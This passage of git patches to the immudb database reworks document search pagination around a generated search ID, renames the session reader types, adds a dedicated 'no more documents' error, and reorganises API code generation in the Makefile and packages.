"items": { "type": "object" } + }, + "searchID": { + "type": "string" } } }, diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 55899d0dd7..332c802804 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -18,14 +18,13 @@ package server import ( "context" - "fmt" - "strings" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/server/sessions" + "github.com/rs/xid" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) @@ -182,13 +181,13 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc } // generate a unique query name based on the request parameters - queryName := generateQueryName(req) + searchID := getSearchIDFromRequest(req) // check if the paginated reader for this query has already been created var resultReader document.DocumentReader var pgreader *sessions.PaginatedReader - pgreader, err = sess.GetPaginatedReader(queryName) + pgreader, err = sess.GetPaginatedReader(searchID) if err != nil { // paginated reader does not exist, create a new one and add it to the session resultReader, err = db.SearchDocuments(ctx, req) if err != nil { @@ -201,7 +200,8 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc LastPageNumber: req.Page, LastPageSize: req.PerPage, } - sess.SetPaginatedReader(queryName, pgreader) + + sess.SetPaginatedReader(searchID, pgreader) } else { // paginated reader already exists, resume reading from the correct offset based on pagination parameters // do validation on the pagination parameters if req.Page < pgreader.LastPageNumber { @@ -217,28 +217,28 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc } // update the pagination parameters for this query in the session - sess.UpdatePaginatedReader(queryName, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) + sess.UpdatePaginatedReader(searchID, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) if err == sql.ErrNoMoreRows { // end of data reached, remove the paginated reader and pagination parameters from the session - delErr := sess.DeletePaginatedReader(queryName) - s.Logger.Errorf("error deleting paginated reader: %v", delErr) + delErr := sess.DeletePaginatedReader(searchID) + if delErr != nil { + s.Logger.Errorf("error deleting paginated reader: %s, err = %v", searchID, delErr) + } } return &documentschema.DocumentSearchResponse{ - Results: results, + Results: results, + SearchID: searchID, }, err } -func generateQueryName(req *documentschema.DocumentSearchRequest) string { - var queryBuilder strings.Builder - queryBuilder.WriteString(req.Collection) - - for _, q := range req.Query { - queryBuilder.WriteString(fmt.Sprintf("%v%v", q.Field, q.Value)) +func getSearchIDFromRequest(req *documentschema.DocumentSearchRequest) string { + if req.SearchID != "" { + return req.SearchID } - return queryBuilder.String() + return xid.New().String() } func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema.DocumentInsertManyRequest) (*documentschema.DocumentInsertManyResponse, error) { diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index d8390d20dd..012534d2d2 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -25,6 +25,7 @@ import ( "github.com/codenotary/immudb/pkg/api/authorizationschema" "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/auth" + "github.com/codenotary/immudb/pkg/server/sessions" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" @@ -158,6 +159,7 @@ func TestPaginationOnReader(t *testing.T) { t.Run("test reader for multiple paginated reads", func(t *testing.T) { results := make([]*structpb.Struct, 0) + var searchID string for i := 1; i <= 4; i++ { resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ Collection: collectionName, @@ -170,40 +172,53 @@ func TestPaginationOnReader(t *testing.T) { }, }, }, - Page: uint32(i), - PerPage: 5, + Page: uint32(i), + PerPage: 5, + SearchID: searchID, }) require.NoError(t, err) require.Equal(t, 5, len(resp.Results)) results = append(results, resp.Results...) + searchID = resp.SearchID } for i := 1.0; i <= 20; i++ { doc := results[int(i-1)] require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) } - }) - t.Run("test reader should throw no more entries when reading more entries", func(t *testing.T) { - _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ - Collection: collectionName, - Query: []*documentschema.DocumentQuery{ - { - Field: "pincode", - Operator: documentschema.QueryOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, + // ensure there is only one reader in the session for the request and it is being reused + // get the session from the context + sessionID, err := sessions.GetSessionIDFromContext(ctx) + require.NoError(t, err) + + sess, err := s.SessManager.GetSession(sessionID) + require.NoError(t, err) + require.Equal(t, 1, sess.GetPaginatedReadersCount()) + + t.Run("test reader should throw no more entries when reading more entries", func(t *testing.T) { + _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + Collection: collectionName, + Query: []*documentschema.DocumentQuery{ + { + Field: "pincode", + Operator: documentschema.QueryOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, }, }, - }, - Page: 5, - PerPage: 5, + Page: 5, + PerPage: 5, + SearchID: searchID, + }) + require.ErrorIs(t, err, sql.ErrNoMoreRows) }) - require.ErrorIs(t, err, sql.ErrNoMoreRows) - }) t.Run("test reader should throw error on reading backwards", func(t *testing.T) { + + var searchID string for i := 1; i <= 3; i++ { resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ Collection: collectionName, @@ -216,11 +231,13 @@ func TestPaginationOnReader(t *testing.T) { }, }, }, - Page: uint32(i), - PerPage: 5, + Page: uint32(i), + PerPage: 5, + SearchID: searchID, }) require.NoError(t, err) require.Equal(t, 5, len(resp.Results)) + searchID = resp.SearchID } _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ @@ -234,11 +251,107 @@ func TestPaginationOnReader(t *testing.T) { }, }, }, - Page: 2, // read upto page 3, check if we can read backwards - PerPage: 5, + Page: 2, // read upto page 3, check if we can read backwards + PerPage: 5, + SearchID: searchID, }) require.ErrorIs(t, err, ErrInvalidPreviousPage) }) +} + +func TestPaginationWithoutSearchID(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithPort(0). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithSigningKey("./../../test/signer/ec1.key") + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + require.NoError(t, s.Initialize()) + + logged, err := s.OpenSessionV2(context.Background(), &authorizationschema.OpenSessionRequestV2{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", + }) + assert.NoError(t, err) + assert.NotEmpty(t, logged.Token) + + md := metadata.Pairs("sessionid", logged.Token) + ctx := metadata.NewIncomingContext(context.Background(), md) + + // create collection + collectionName := "mycollection" + _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{ + Name: collectionName, + IndexKeys: map[string]*documentschema.IndexOption{ + "pincode": {Type: documentschema.IndexType_INTEGER}, + "country": {Type: documentschema.IndexType_STRING}, + "idx": {Type: documentschema.IndexType_INTEGER}, + }, + }) + require.NoError(t, err) + + // add documents to collection + for i := 1.0; i <= 20; i++ { + _, err = s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{ + Collection: collectionName, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }, + }) + require.NoError(t, err) + } + + t.Run("test reader for multiple paginated reads without search ID should have multiple readers", func(t *testing.T) { + sessionID, err := sessions.GetSessionIDFromContext(ctx) + require.NoError(t, err) + + sess, err := s.SessManager.GetSession(sessionID) + require.NoError(t, err) + + results := make([]*structpb.Struct, 0) + + for i := 1; i <= 4; i++ { + resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + Collection: collectionName, + Query: []*documentschema.DocumentQuery{ + { + Field: "pincode", + Operator: documentschema.QueryOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, + Page: uint32(i), + PerPage: 5, + }) + require.NoError(t, err) + require.Equal(t, 5, len(resp.Results)) + results = append(results, resp.Results...) + } + + for i := 1.0; i <= 20; i++ { + doc := results[int(i-1)] + require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) + } + + require.Equal(t, 4, sess.GetPaginatedReadersCount()) + }) } diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 4e440c3ea6..0a01e9c3c5 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -290,3 +290,7 @@ func (s *Session) UpdatePaginatedReader(queryName string, lastPage uint32, lastP return nil } + +func (s *Session) GetPaginatedReadersCount() int { + return len(s.paginatedReaders) +} From d7b2ec0cc28927c038da7659904fbe4221db3edd Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 28 Apr 2023 12:06:54 +0530 Subject: [PATCH 0459/1062] chore: return ErrNoMoreDocuments instead of sql.ErrNoMoreRows --- embedded/document/engine.go | 10 +++- embedded/document/engine_test.go | 16 +++--- pkg/server/documents_operations.go | 12 ++-- pkg/server/documents_operations_test.go | 8 +-- pkg/server/sessions/manager.go | 2 +- pkg/server/sessions/session.go | 74 ++++++++++++------------- 6 files changed, 64 insertions(+), 58 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 43b949834e..e5779475e1 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -40,6 +40,7 @@ var ( ErrMultipleDocumentsFound = errors.New("multiple documents found") ErrDocumentNotFound = errors.New("document not found") ErrDocumentIDMismatch = errors.New("document id mismatch") + ErrNoMoreDocuments = errors.New("no more documents") ) // Schema to ValueType mapping @@ -540,7 +541,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie return nil, err } - return NewDocumentReader(r), nil + return newDocumentReader(r), nil } func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *EncodedDocAudit, err error) { @@ -932,7 +933,7 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, return } -func NewDocumentReader(reader sql.RowReader) DocumentReader { +func newDocumentReader(reader sql.RowReader) DocumentReader { return &documentReader{reader: reader} } @@ -942,6 +943,10 @@ type documentReader struct { // ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. func (d *documentReader) Read(ctx context.Context, count int) ([]*structpb.Struct, error) { + if count < 1 { + return nil, sql.ErrIllegalArguments + } + var err error results := make([]*structpb.Struct, 0) @@ -949,6 +954,7 @@ func (d *documentReader) Read(ctx context.Context, count int) ([]*structpb.Struc var row *sql.Row row, err = d.reader.Read(ctx) if err == sql.ErrNoMoreRows { + err = ErrNoMoreDocuments break } if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index cc485759bb..da5283517c 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -327,7 +327,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 9, len(docs)) }) @@ -346,7 +346,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 10, len(docs)) }) @@ -365,7 +365,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 9, len(docs)) }) @@ -383,7 +383,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 5, len(docs)) }) @@ -402,7 +402,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 1, len(docs)) }) @@ -428,7 +428,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 8, len(docs)) }) @@ -454,7 +454,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 4, len(docs)) }) @@ -480,7 +480,7 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, ErrNoMoreDocuments) require.Equal(t, 3, len(docs)) }) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 332c802804..9355574df0 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -185,9 +185,9 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc // check if the paginated reader for this query has already been created var resultReader document.DocumentReader - var pgreader *sessions.PaginatedReader + var pgreader *sessions.PaginatedDocumentReader - pgreader, err = sess.GetPaginatedReader(searchID) + pgreader, err = sess.GetPaginatedDocumentReader(searchID) if err != nil { // paginated reader does not exist, create a new one and add it to the session resultReader, err = db.SearchDocuments(ctx, req) if err != nil { @@ -195,13 +195,13 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc } // store the reader in the session for future use - pgreader = &sessions.PaginatedReader{ + pgreader = &sessions.PaginatedDocumentReader{ Reader: resultReader, LastPageNumber: req.Page, LastPageSize: req.PerPage, } - sess.SetPaginatedReader(searchID, pgreader) + sess.SetPaginatedDocumentReader(searchID, pgreader) } else { // paginated reader already exists, resume reading from the correct offset based on pagination parameters // do validation on the pagination parameters if req.Page < pgreader.LastPageNumber { @@ -217,11 +217,11 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc } // update the pagination parameters for this query in the session - sess.UpdatePaginatedReader(searchID, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) + sess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) if err == sql.ErrNoMoreRows { // end of data reached, remove the paginated reader and pagination parameters from the session - delErr := sess.DeletePaginatedReader(searchID) + delErr := sess.DeletePaginatedDocumentReader(searchID) if delErr != nil { s.Logger.Errorf("error deleting paginated reader: %s, err = %v", searchID, delErr) } diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 012534d2d2..c4b7de5cc9 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -21,7 +21,7 @@ import ( "fmt" "testing" - "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/pkg/api/authorizationschema" "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/auth" @@ -194,7 +194,7 @@ func TestPaginationOnReader(t *testing.T) { sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) - require.Equal(t, 1, sess.GetPaginatedReadersCount()) + require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries", func(t *testing.T) { _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ @@ -212,7 +212,7 @@ func TestPaginationOnReader(t *testing.T) { PerPage: 5, SearchID: searchID, }) - require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.ErrorIs(t, err, document.ErrNoMoreDocuments) }) }) @@ -351,7 +351,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) } - require.Equal(t, 4, sess.GetPaginatedReadersCount()) + require.Equal(t, 4, sess.GetPaginatedDocumentReadersCount()) }) } diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index 25bd7cccda..4effcc2681 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -149,7 +149,7 @@ func (sm *manager) deleteSession(sessionID string) error { merr.Append(err) } - if err := sess.ClosePaginatedReaders(); err != nil { + if err := sess.ClosePaginatedDocumentReaders(); err != nil { merr.Append(err) } diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 0a01e9c3c5..978c0da078 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -34,10 +34,10 @@ import ( ) var ( - ErrPaginatedReaderNotFound = errors.New("paginated reader not found") + ErrPaginatedDocumentReaderNotFound = errors.New("paginated document reader not found") ) -type PaginatedReader struct { +type PaginatedDocumentReader struct { LastPageNumber uint32 // last read page number LastPageSize uint32 // number of items per page TotalRead uint32 // total number of items read @@ -45,28 +45,28 @@ type PaginatedReader struct { } type Session struct { - mux sync.RWMutex - id string - user *auth.User - database database.DB - creationTime time.Time - lastActivityTime time.Time - transactions map[string]transactions.Transaction - paginatedReaders map[string]*PaginatedReader // map from query names to sql.RowReader objects - log logger.Logger + mux sync.RWMutex + id string + user *auth.User + database database.DB + creationTime time.Time + lastActivityTime time.Time + transactions map[string]transactions.Transaction + paginatedDocumentReaders map[string]*PaginatedDocumentReader // map from query names to sql.RowReader objects + log logger.Logger } func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { now := time.Now() return &Session{ - id: sessionID, - user: user, - database: db, - creationTime: now, - lastActivityTime: now, - transactions: make(map[string]transactions.Transaction), - log: log, - paginatedReaders: make(map[string]*PaginatedReader), + id: sessionID, + user: user, + database: db, + creationTime: now, + lastActivityTime: now, + transactions: make(map[string]transactions.Transaction), + log: log, + paginatedDocumentReaders: make(map[string]*PaginatedDocumentReader), } } @@ -98,14 +98,14 @@ func (s *Session) removeTransaction(transactionID string) error { return ErrTransactionNotFound } -func (s *Session) ClosePaginatedReaders() error { +func (s *Session) ClosePaginatedDocumentReaders() error { s.mux.Lock() defer s.mux.Unlock() merr := multierr.NewMultiErr() - for qname := range s.paginatedReaders { - if err := s.DeletePaginatedReader(qname); err != nil { + for qname := range s.paginatedDocumentReaders { + if err := s.DeletePaginatedDocumentReader(qname); err != nil { s.log.Errorf("Error while removing paginated reader: %v", err) merr.Append(err) } @@ -225,41 +225,41 @@ func (s *Session) GetCreationTime() time.Time { return s.creationTime } -func (s *Session) SetPaginatedReader(queryName string, reader *PaginatedReader) { +func (s *Session) SetPaginatedDocumentReader(queryName string, reader *PaginatedDocumentReader) { s.mux.Lock() defer s.mux.Unlock() - // add the reader to the paginatedReaders map - s.paginatedReaders[queryName] = reader + // add the reader to the paginatedDocumentReaders map + s.paginatedDocumentReaders[queryName] = reader } -func (s *Session) GetPaginatedReader(queryName string) (*PaginatedReader, error) { +func (s *Session) GetPaginatedDocumentReader(queryName string) (*PaginatedDocumentReader, error) { s.mux.RLock() defer s.mux.RUnlock() // get the io.Reader object for the specified query name - reader, ok := s.paginatedReaders[queryName] + reader, ok := s.paginatedDocumentReaders[queryName] if !ok { - return nil, ErrPaginatedReaderNotFound + return nil, ErrPaginatedDocumentReaderNotFound } return reader, nil } -func (s *Session) DeletePaginatedReader(queryName string) error { +func (s *Session) DeletePaginatedDocumentReader(queryName string) error { s.mux.Lock() defer s.mux.Unlock() // get the io.Reader object for the specified query name - reader, ok := s.paginatedReaders[queryName] + reader, ok := s.paginatedDocumentReaders[queryName] if !ok { - return ErrPaginatedReaderNotFound + return ErrPaginatedDocumentReaderNotFound } // close the reader err := reader.Reader.Close() - delete(s.paginatedReaders, queryName) + delete(s.paginatedDocumentReaders, queryName) if err != nil { return err @@ -268,14 +268,14 @@ func (s *Session) DeletePaginatedReader(queryName string) error { return nil } -func (s *Session) UpdatePaginatedReader(queryName string, lastPage uint32, lastPageSize uint32, totalDocsRead int) error { +func (s *Session) UpdatePaginatedDocumentReader(queryName string, lastPage uint32, lastPageSize uint32, totalDocsRead int) error { s.mux.Lock() defer s.mux.Unlock() // get the io.Reader object for the specified query name - reader, ok := s.paginatedReaders[queryName] + reader, ok := s.paginatedDocumentReaders[queryName] if !ok { - return ErrPaginatedReaderNotFound + return ErrPaginatedDocumentReaderNotFound } if lastPage > 0 { @@ -291,6 +291,6 @@ func (s *Session) UpdatePaginatedReader(queryName string, lastPage uint32, lastP return nil } -func (s *Session) GetPaginatedReadersCount() int { - return len(s.paginatedReaders) +func (s *Session) GetPaginatedDocumentReadersCount() int { + return len(s.paginatedDocumentReaders) } From 6807310811a5749c18155e92cd7508f20a082560 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 26 Apr 2023 01:41:39 -0300 Subject: [PATCH 0460/1062] chore(pkg/api): revised document and authentication apis Signed-off-by: Jeronimo Irazabal chore(pkg/api): improved proto spec and code generation Signed-off-by: Jeronimo Irazabal chore: improve code generation from specs Signed-off-by: Jeronimo Irazabal chore(pkg/api): auto-generated http client Signed-off-by: Jeronimo Irazabal chore(pkg/api): use simple naming in generated openapi spec Signed-off-by: Jeronimo Irazabal chore(pkg/api): resolve naming conflicts in generated client Signed-off-by: Jeronimo Irazabal chore(pkg/api): define protomodel package Signed-off-by: Jeronimo Irazabal chore(pkg/server): implement authentication service Signed-off-by: Jeronimo Irazabal test(test/document_storage_tests): upgraded integration tests using newly generated httpclient Signed-off-by: Jeronimo Irazabal --- Makefile | 92 +- {scripts => ext-tools}/buf | 0 go.mod | 21 +- go.sum | 493 ++- .../authorizationschema.pb.go | 302 -- .../authorizationschema.pb.gw.go | 169 -- .../authorizationschema.swagger.json | 120 - .../authorizationschema_grpc.pb.go | 99 - pkg/api/authorizationschema/docs.md | 96 - pkg/api/documentschema/docs.md | 608 ---- pkg/api/documentschema/documentschema.pb.go | 2532 --------------- pkg/api/httpclient/client.go | 2701 +++++++++++++++++ .../apidocs.swagger.json} | 525 ++-- .../authorization.proto} | 40 +- .../documents.proto} | 288 +- pkg/api/protomodel/authorization.pb.go | 530 ++++ pkg/api/protomodel/authorization.pb.gw.go | 331 ++ pkg/api/protomodel/authorization_grpc.pb.go | 171 ++ pkg/api/protomodel/docs.md | 695 +++++ pkg/api/protomodel/documents.pb.go | 2519 +++++++++++++++ .../documents.pb.gw.go} | 378 +-- .../documents_grpc.pb.go} | 272 +- pkg/database/document_database.go | 100 +- pkg/database/document_database_test.go | 32 +- pkg/server/authorization_operations.go | 49 +- pkg/server/db_dummy_closed.go | 25 +- pkg/server/documents_operations.go | 28 +- pkg/server/documents_operations_test.go | 33 +- pkg/server/server.go | 7 +- pkg/server/webserver.go | 7 +- pkg/verification/verification.go | 4 +- scripts/go-acc | 3 - scripts/goveralls | 3 - scripts/protoc-gen-doc | 3 - scripts/protoc-gen-go | 3 - scripts/protoc-gen-go-grpc | 3 - scripts/protoc-gen-grpc-gateway | 3 - scripts/protoc-gen-swagger | 3 - swagger/swaggeroverrides.js | 3 +- .../documents_tests/auth_test.go | 53 + .../documents_tests/collections_test.go | 68 +- .../documents_tests/documents_test.go | 77 +- .../documents_tests/go.mod | 17 + .../documents_tests/go.sum | 89 + .../documents_tests/utils.go | 107 + .../collections_test.go | 76 + .../create_collections_test.go | 0 .../documents_test.go | 74 + .../documents_test_utils.go | 0 .../login_test.go | 0 .../immudbauth/authorizationclient.go | 418 --- .../immudbdocuments/documentsclient.go | 1692 ----------- tools.go | 1 + 53 files changed, 8955 insertions(+), 7008 deletions(-) rename {scripts => ext-tools}/buf (100%) delete mode 100644 pkg/api/authorizationschema/authorizationschema.pb.go delete mode 100644 pkg/api/authorizationschema/authorizationschema.pb.gw.go delete mode 100644 pkg/api/authorizationschema/authorizationschema.swagger.json delete mode 100644 pkg/api/authorizationschema/authorizationschema_grpc.pb.go delete mode 100644 pkg/api/authorizationschema/docs.md delete mode 100644 pkg/api/documentschema/docs.md delete mode 100644 pkg/api/documentschema/documentschema.pb.go create mode 100644 pkg/api/httpclient/client.go rename pkg/api/{documentschema/documentschema.swagger.json => openapi/apidocs.swagger.json} (69%) rename pkg/api/{authorizationschema/authorizationschema.proto => proto/authorization.proto} (57%) rename pkg/api/{documentschema/documentschema.proto => proto/documents.proto} (81%) create mode 100644 pkg/api/protomodel/authorization.pb.go create mode 100644 pkg/api/protomodel/authorization.pb.gw.go create mode 100644 pkg/api/protomodel/authorization_grpc.pb.go create mode 100644 pkg/api/protomodel/docs.md create mode 100644 pkg/api/protomodel/documents.pb.go rename pkg/api/{documentschema/documentschema.pb.gw.go => protomodel/documents.pb.gw.go} (99%) rename pkg/api/{documentschema/documentschema_grpc.pb.go => protomodel/documents_grpc.pb.go} (89%) delete mode 100755 scripts/go-acc delete mode 100755 scripts/goveralls delete mode 100755 scripts/protoc-gen-doc delete mode 100755 scripts/protoc-gen-go delete mode 100755 scripts/protoc-gen-go-grpc delete mode 100755 scripts/protoc-gen-grpc-gateway delete mode 100755 scripts/protoc-gen-swagger create mode 100644 test/document_storage_tests/documents_tests/auth_test.go create mode 100644 test/document_storage_tests/documents_tests/go.mod create mode 100644 test/document_storage_tests/documents_tests/go.sum create mode 100644 test/document_storage_tests/documents_tests/utils.go create mode 100644 test/document_storage_tests/documents_tests_deprecated/collections_test.go rename test/document_storage_tests/{documents_tests => documents_tests_deprecated}/create_collections_test.go (100%) create mode 100644 test/document_storage_tests/documents_tests_deprecated/documents_test.go rename test/document_storage_tests/{documents_tests => documents_tests_deprecated}/documents_test_utils.go (100%) rename test/document_storage_tests/{documents_tests => documents_tests_deprecated}/login_test.go (100%) delete mode 100644 test/document_storage_tests/immudbhttpclient/immudbauth/authorizationclient.go delete mode 100644 test/document_storage_tests/immudbhttpclient/immudbdocuments/documentsclient.go diff --git a/Makefile b/Makefile index 56ac622784..31d8d1b098 100644 --- a/Makefile +++ b/Makefile @@ -153,13 +153,13 @@ test-client: # To view coverage as HTML run: go tool cover -html=coverage.txt .PHONY: coverage coverage: - ./scripts/go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version + go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version cat coverage.txt | grep -v "schema.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out $(GO) tool cover -func coverage.out .PHONY: build/codegen build/codegen: - $(PWD)/scripts/buf format -w + $(PWD)/ext-tools/buf format -w $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ -I$(GOPATH)/pkg/mod \ @@ -167,108 +167,50 @@ build/codegen: -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ --go_out=paths=source_relative:pkg/api/schema \ --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schema \ - --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ - --plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc + --plugin=protoc-gen-go=protoc-gen-go \ + --plugin=protoc-gen-go-grpc=protoc-gen-go-grpc $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schema \ - --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway + --plugin=protoc-gen-grpc-gateway=protoc-gen-grpc-gateway $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ --swagger_out=logtostderr=true:pkg/api/schema \ - --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger + --plugin=protoc-gen-swagger=protoc-gen-swagger $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \ - --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc + --plugin=protoc-gen-doc=protoc-gen-doc -.PHONY: build/codegendocuments -build/codegendocuments: - $(PROTOC) -I pkg/api/documentschema/ pkg/api/documentschema/documentschema.proto \ - -I pkg/api/schema/ \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - 